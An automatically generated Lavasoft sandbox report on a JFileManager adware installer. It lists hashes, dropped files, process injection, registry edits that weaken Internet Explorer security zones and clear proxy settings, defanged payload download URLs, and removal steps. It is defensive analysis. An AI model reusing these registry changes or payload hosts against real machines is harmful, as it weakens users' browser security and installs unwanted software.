not-a-virus:HEUR:AdWare.Win32.SoftPulse.heur (Kaspersky), Adware.Generic.1542072 (B) (Emsisoft), Adware.Generic.1542072 (AdAware), Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, Adware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: c579ddba069c423705105c919acef50a
SHA1: b5b40bdfe3d349aced309f7a5743ac362343eb6e
SHA256: 423851e5097e744aacee1cbf9855d2742b7b7128805d103fcbd21148382c8f1e
SSDeep: 12288:8oWvxUHN9nPQc7/XJ8Ni7GKLdJQ DMPqkdvWDlfmLKPYn1W:8RJwQW/usdJQeKqkdODlUn1W
Size: 574448 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PECompactV2X, PECompactv20, UPolyXv05_v6
Company: no certificate found
Created at: 2016-04-07 11:23:14
Analyzed on: WindowsXP SP3 32-bit
Summary: Adware. Delivers advertising content in a manner or context that may be unexpected and unwanted by users. Many adware applications also perform tracking functions. Users may want to remove adware if they object to such tracking, do not wish to see the advertising caused by the program or are frustrated by its effects on system performance.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Adware creates the following process(es):
jfilemanagersetup.exe:744
The Adware injects its code into the following process(es):
JFileManager.exe:676
WebBrowser.exe:1236
%original file name%.exe:872
Mutexes
The following mutexes were created/opened:
DDrawDriverObjectListMutexDDrawWindowListMutex__DDrawCheckExclMode____DDrawExclMode__CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003ShimCacheMutexRasPbFileWininetProxyRegistryMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!WininetConnectionMutexc:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_DBWinMutexoleacc-msaa-loadedZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutex
File activity
The process jfilemanagersetup.exe:744 makes changes in the file system.
The Adware creates and/or writes to the following file(s):
%Program Files%\JFileManager\Languages\Italian.gif (934 bytes)
%Program Files%\JFileManager\Languages\Hindi.ini (2 bytes)
%Program Files%\JFileManager\Languages\Italian.ini (1 bytes)
%Program Files%\JFileManager\icono.ico (12088 bytes)
%Program Files%\JFileManager\Languages\Hindi.gif (920 bytes)
%Program Files%\JFileManager\Newtonsoft.Json.dll (12536 bytes)
%Program Files%\JFileManager\Languages\Spanish.gif (569 bytes)
%Program Files%\JFileManager\JFileManager.exe (37368 bytes)
%Program Files%\JFileManager\Languages\English.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\System.dll (11 bytes)
%Program Files%\JFileManager\Languages\French.gif (928 bytes)
%Program Files%\JFileManager\Languages\Spanish.ini (1 bytes)
%Program Files%\JFileManager\Languages\Portuguese.ini (1 bytes)
%Program Files%\JFileManager\dotNetFx40_Full_setup.exe (30344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsProcess.dll (4 bytes)
%Program Files%\JFileManager\Languages\Hebrew.gif (929 bytes)
%Program Files%\JFileManager\update.xml (206 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\JFileManager.lnk (836 bytes)
%Program Files%\JFileManager\Languages\English.gif (977 bytes)
%Program Files%\JFileManager\uninstall.exe (3096 bytes)
%Program Files%\JFileManager\Languages\Portuguese.gif (883 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\Uninstall JFileManager.lnk (637 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Config.ini (190 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\fastresume.data (2 bytes)
%Program Files%\JFileManager\ComponentFactory.Krypton.Toolkit.dll (77843 bytes)
%Program Files%\JFileManager\ClipboardURLCatcher.jar (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd2.tmp (126424 bytes)
%Program Files%\JFileManager\jfilemanager.affcode (3 bytes)
%Program Files%\JFileManager\Languages\French.ini (1 bytes)
%Program Files%\JFileManager\jfilemanager.uidnum (23 bytes)
%Program Files%\JFileManager\Languages\Hebrew.ini (1 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).gif (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\DhtNodes (2 bytes)
%Program Files%\JFileManager\Languages\German.gif (916 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\WebBrowserJFile.lnk (1 bytes)
%Program Files%\JFileManager\WebBrowser.exe (5064 bytes)
%Documents and Settings%\All Users\Desktop\JFileManager.lnk (824 bytes)
%Program Files%\JFileManager\Languages\German.ini (1 bytes)
%Program Files%\JFileManager\LTV.exe (6 bytes)
The Adware deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsy1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp (0 bytes)
The process %original file name%.exe:872 makes changes in the file system.
The Adware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\loadingBar[1].gif (5952 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\loading-install[1].gif (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\loadingBar[1].gif (7527 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@getipintel[1].txt (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%System%\wbem\Logs\wbemprox.log (228 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\JFileManagerSetup[1].exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\9b938be5-4a4b-4048-ad11-7cb21c0595eb\jfilemanagersetup.exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\style[1].css (3833 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\progress-bar[1].png (1 bytes)
The Adware deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\55283fc807165575cc48d8a8e98c98f4c9cdc81121f68dfb9aa8b23c71e94875e4734836036aa5410b8c60f5194d153342b7e57b28612393[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\JFileManagerSetup[1].exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\24bcdb6517d4e66177080e5d73d6b1858f26d23404bd9075e6a3edc8a993234bc4a865f4c7e33f78b04906be3ec6abaf8f0f791ad2dafd64[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\loadingBar[1].gif (0 bytes)
Registry activity
The process JFileManager.exe:676 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D4 21 80 BC 2C 80 F4 82 00 16 16 7E A8 36 6C FA"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The process WebBrowser.exe:1236 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BA 7F 18 F4 2B 49 A1 FC 46 5C C7 DB 94 54 BE 78"
The process jfilemanagersetup.exe:744 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"Publisher" = ""
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"DisplayVersion" = "v1.0.0.2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"UninstallString" = "%Program Files%\JFileManager\uninstall.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKLM\SOFTWARE\JFileManager\JFileManager]
"InstallDir" = "%Program Files%\JFileManager"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"DisplayName" = "JFileManager"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0E 00 F1 96 B9 9B CE 46 5F FD DE 2F 70 4B 49 1A"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"EstimatedSize" = "6015"
"DisplayIcon" = "%Program Files%\JFileManager\JFileManager.exe"
[HKLM\SOFTWARE\JFileManager\JFileManager]
"(Default)" = "%Program Files%\JFileManager\JFileManager.exe"
The process %original file name%.exe:872 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\9b938be5-4a4b-4048-ad11-7cb21c0595eb]
"jfilemanagersetup.exe" = "jfilemanagersetup"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1460017394"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 65 7A BC 4B DF 6B CA 06 2B 13 16 C7 14 4B 3F"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Adware deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
| MD5 | File path |
|---|---|
| ca04007495aae5057da274a53a338ddc | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\Setup Wizard\9b938be5-4a4b-4048-ad11-7cb21c0595eb\jfilemanagersetup.exe |
| ca04007495aae5057da274a53a338ddc | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\JFileManagerSetup[1].exe |
| 67986ec074b86590e110a76480f7da99 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\msjava[1].dll |
| ac56f3a4d75499f5501dd8ee0faba055 | c:\Program Files\JFileManager\ComponentFactory.Krypton.Toolkit.dll |
| c6d1dc750e7c72e70fe919441bfd7efe | c:\Program Files\JFileManager\JFileManager.exe |
| f4f2e95f1bd669f0ff2fda93df846fc6 | c:\Program Files\JFileManager\LTV.exe |
| 9de67831de7205e5f7a8d95325b4c366 | c:\Program Files\JFileManager\Newtonsoft.Json.dll |
| 617ae3416669fb73ab8fd76b1c96bce4 | c:\Program Files\JFileManager\WebBrowser.exe |
| 53406e9988306cbd4537677c5336aba4 | c:\Program Files\JFileManager\dotNetFx40_Full_setup.exe |
| 096d18f71e04b204860a7d4f89d16728 | c:\Program Files\JFileManager\uninstall.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
jfilemanagersetup.exe:744
- Delete the original Adware file.
- Delete or disinfect the following files created/modified by the Adware:
%Program Files%\JFileManager\Languages\Italian.gif (934 bytes)
%Program Files%\JFileManager\Languages\Hindi.ini (2 bytes)
%Program Files%\JFileManager\Languages\Italian.ini (1 bytes)
%Program Files%\JFileManager\icono.ico (12088 bytes)
%Program Files%\JFileManager\Languages\Hindi.gif (920 bytes)
%Program Files%\JFileManager\Newtonsoft.Json.dll (12536 bytes)
%Program Files%\JFileManager\Languages\Spanish.gif (569 bytes)
%Program Files%\JFileManager\JFileManager.exe (37368 bytes)
%Program Files%\JFileManager\Languages\English.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\System.dll (11 bytes)
%Program Files%\JFileManager\Languages\French.gif (928 bytes)
%Program Files%\JFileManager\Languages\Spanish.ini (1 bytes)
%Program Files%\JFileManager\Languages\Portuguese.ini (1 bytes)
%Program Files%\JFileManager\dotNetFx40_Full_setup.exe (30344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsProcess.dll (4 bytes)
%Program Files%\JFileManager\Languages\Hebrew.gif (929 bytes)
%Program Files%\JFileManager\update.xml (206 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\JFileManager.lnk (836 bytes)
%Program Files%\JFileManager\Languages\English.gif (977 bytes)
%Program Files%\JFileManager\uninstall.exe (3096 bytes)
%Program Files%\JFileManager\Languages\Portuguese.gif (883 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\Uninstall JFileManager.lnk (637 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Config.ini (190 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\fastresume.data (2 bytes)
%Program Files%\JFileManager\ComponentFactory.Krypton.Toolkit.dll (77843 bytes)
%Program Files%\JFileManager\ClipboardURLCatcher.jar (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd2.tmp (126424 bytes)
%Program Files%\JFileManager\jfilemanager.affcode (3 bytes)
%Program Files%\JFileManager\Languages\French.ini (1 bytes)
%Program Files%\JFileManager\jfilemanager.uidnum (23 bytes)
%Program Files%\JFileManager\Languages\Hebrew.ini (1 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).gif (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\DhtNodes (2 bytes)
%Program Files%\JFileManager\Languages\German.gif (916 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\WebBrowserJFile.lnk (1 bytes)
%Program Files%\JFileManager\WebBrowser.exe (5064 bytes)
%Documents and Settings%\All Users\Desktop\JFileManager.lnk (824 bytes)
%Program Files%\JFileManager\Languages\German.ini (1 bytes)
%Program Files%\JFileManager\LTV.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\loadingBar[1].gif (5952 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\loading-install[1].gif (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\loadingBar[1].gif (7527 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@getipintel[1].txt (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%System%\wbem\Logs\wbemprox.log (228 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\JFileManagerSetup[1].exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\9b938be5-4a4b-4048-ad11-7cb21c0595eb\jfilemanagersetup.exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\style[1].css (3833 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\progress-bar[1].png (1 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 1712128 | 528384 | 5.54495 | 3e416baa0740c16d44bb87e8869047f3 |
| .rsrc | 1716224 | 45056 | 41472 | 4.15724 | dd74ac4b3d904a53419d68a629ab143e |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 192
9d038591bc758622d413d7377da19855
8b7c76b1cc3818becd02021334aff04b
a5759ee5610e13d8dab241b75cc1b8ad
3225a51c99f2c6ace5ebb235076e21ba
a4b11cf4971822a3bd51c17dd7395c8a
388f277554354fc71d2e0b7fe681fe67
9f625fd4d049964c9d9b09adebff3bbb
8aa3b3a0808050e9313bdb5d3e69743f
0781e72afb1b8636cb01cca471a69f7e
ced1ded80082af7f0c40dfe03e7cd458
7728b9653491be792c579ad3c23c90c2
5aeb29ad5490eefbe1a2c5cededf0285
a431890fd72ffc3c2220e903f5b3b7e0
63c51173daf1c8a29033c3bbef2dde86
e06a629a0c7dbcd521ace2f79eb4af78
fe8d0504aa055642a48d216c85a7698e
1fe8dae23439d0ef29f52d120163a7e0
2449c3b42c87d0ca0bcf2edb6583a061
f251391ba87b58225c18bc453d2dc6b5
78f656841edcedf36d18000c0b28af6c
61ff99423041b780874b1eae3070c3db
fdec260c8e2276504c45c64cea1cf32c
957d79adba91b4967477de94a65aad65
059476da34019a5cc5f7c8f68bad9a91
16b71e04ef01bdc228fe8615df8b597b
1e1997d33fbe60d2b4155c2b3ccffaaa
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://check.getipintel.net/check.php?ip=73.167.1.112&contact=1460276078655ziH5QNBx9K@gmail.com | 104.31.92.137 |
| hxxp://api.playerfilemagno.com/ | 52.35.81.113 |
| hxxp://d2d1m1wxb9yipl.cloudfront.net/msjava.dll | 54.239.192.130 |
| hxxp://api.playerfilemagno.com/8d0b5b2a40cea6c0758f02b51802727204cca35a493e929a56599d80edea796c75d77d600b20735d16699a1dd8c7e9c65d20e728cbcc4a032c39ea91bdde31df9cc7c27dd866313f677dcc1c3a34cf768369dfb6227a3c2287c5997fce75547bec35fa6946be0e57 | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/55283fc807165575cc48d8a8e98c98f4c9cdc81121f68dfb9aa8b23c71e94875e4734836036aa5410b8c60f5194d153342b7e57b28612393 | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif | 52.35.81.113 |
| hxxp://dybraso4svbl2.cloudfront.net/8c/JFileManagerSetup.exe | 54.239.192.208 |
| hxxp://api.playerfilemagno.com/24bcdb6517d4e66177080e5d73d6b1858f26d23404bd9075e6a3edc8a993234bc4a865f4c7e33f78b04906be3ec6abaf8f0f791ad2dafd64 | 52.35.81.113 |
| hxxp://www.playerfilemagno.com/BesH3gE9/pop-up/ | 54.186.187.58 |
| hxxp://api.playerfilemagno.com/__maxpower__/render_screen/2014/11/a888aa68-73d0-11e4-b71d-06a3579b0dab/screen_variation=videoUpdater | 52.35.81.113 |
| hxxp://api.playerfilemagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif | 52.35.81.113 |
| hxxp://www.playerfilemagno.com/lpresources/js/linkv2.js | 54.186.187.58 |
| hxxp://www.playerfilemagno.com/lpresources/js/ainj.js | 54.186.187.58 |
| hxxp://www.playerfilemagno.com/lpresources/js/dlStoragev1.js | 54.186.187.58 |
| hxxp://www.playerfilemagno.com/mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js | 54.186.187.58 |
| hxxp://n149adserv.com/js/show_ads.js | 204.155.152.38 |
| hxxp://staticrr.tgusrv.com/sdb/e0/WebBrowser.xml?527c2718-e98e-4766-8989-e126c2a28661 | |
| hxxp://staticrr.fastplayerpro.com/sdb/e0/WebBrowser.xml?527c2718-e98e-4766-8989-e126c2a28661 | 52.25.133.123 |
| ssl.google-analytics.com | 216.58.214.232 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /check.php?ip=73.167.1.112&contact=1460276078655ziH5QNBx9K@gmail.com HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
